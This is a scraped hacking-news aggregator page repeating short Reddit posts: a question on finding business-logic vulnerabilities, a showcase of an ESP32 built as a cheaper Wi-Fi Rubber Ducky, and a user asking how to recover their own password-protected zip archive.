[link] (https://www.reddit.com/r/redteamsec/comments/zm6f78/business_logic_vulnerabilities/) [comments] (https://www.reddit.com/r/redteamsec/comments/zm6f78/business_logic_vulnerabilities/)
https://www.reddit.com/r/redteamsec/comments/zm6f78/business_logic_vulnerabilities/
<!-- SC_OFF -->Hi Guys, I consider myself bellow average when it comes to find Business logic vulnerabilities, and I want to improve in it. how do you deal with this kind of vulnerabilities?, what advises would you give to move forward? <!-- SC_ON --> submitted by /u/Abofouad (https://www.reddit.com/user/Abofouad)
[link] (https://www.reddit.com/r/redteamsec/comments/zm6f78/business_logic_vulnerabilities/) [comments] (https://www.reddit.com/r/redteamsec/comments/zm6f78/business_logic_vulnerabilities/)
Hacking Articles Tips Tricks Videos Tutorials
Photo
hacking: security in practice
Got an esp32 working as a Rubber Ducky but cheaper and with wifi (and in the future, bluetooth too)! And it still keeps the standard USB size format.
https://external-preview.redd.it/ZUlNNKO6w7qsiGHKm2ht72IJUwQfnRf8XtqkonUWIig.jpg?width=640&crop=smart&auto=webp&s=0886f26f887b433a9e7037c27eaf054d30a3d715 submitted by /u/LockManipulator
[link] [comments]
Got an esp32 working as a Rubber Ducky but cheaper and with wifi (and in the future, bluetooth too)! And it still keeps the standard USB size format.
https://external-preview.redd.it/ZUlNNKO6w7qsiGHKm2ht72IJUwQfnRf8XtqkonUWIig.jpg?width=640&crop=smart&auto=webp&s=0886f26f887b433a9e7037c27eaf054d30a3d715 submitted by /u/LockManipulator
[link] [comments]
https://b.thumbs.redditmedia.com/is7FFBX5Nb-AJXr7f-TrdY6HVPGaeg_Fh1hbeVvj-RA.jpg Also, in case there is no way to refund it, any suggestions how to fix it?
https://preview.redd.it/3vcb03r46y5a1.jpg?width=1024&format=pjpg&auto=webp&s=e9df2f6e636ee496b15714f8da320d5101b01597
submitted by /u/Blicked33
[link] [comments]
https://preview.redd.it/3vcb03r46y5a1.jpg?width=1024&format=pjpg&auto=webp&s=e9df2f6e636ee496b15714f8da320d5101b01597
submitted by /u/Blicked33
[link] [comments]
Hacking Articles Tips Tricks Videos Tutorials
Photo
hacking: security in practice
Any suggestion on data recovery software on protected .zip (file's contents unencrypted)?
I have an album zipped with a passcode, and the file's contents are all unencrypted. I have too many hours already trying JohnRipper / Hashcat, but I wasn't able to get them working properly.
I was wondering if using data recovery software is a possible option. Any anyone tried this?
Any advice or recommendation would be greatly appreciated.
submitted by /u/dream996
[link] [comments]
Any suggestion on data recovery software on protected .zip (file's contents unencrypted)?
I have an album zipped with a passcode, and the file's contents are all unencrypted. I have too many hours already trying JohnRipper / Hashcat, but I wasn't able to get them working properly.
I was wondering if using data recovery software is a possible option. Any anyone tried this?
Any advice or recommendation would be greatly appreciated.
submitted by /u/dream996
[link] [comments]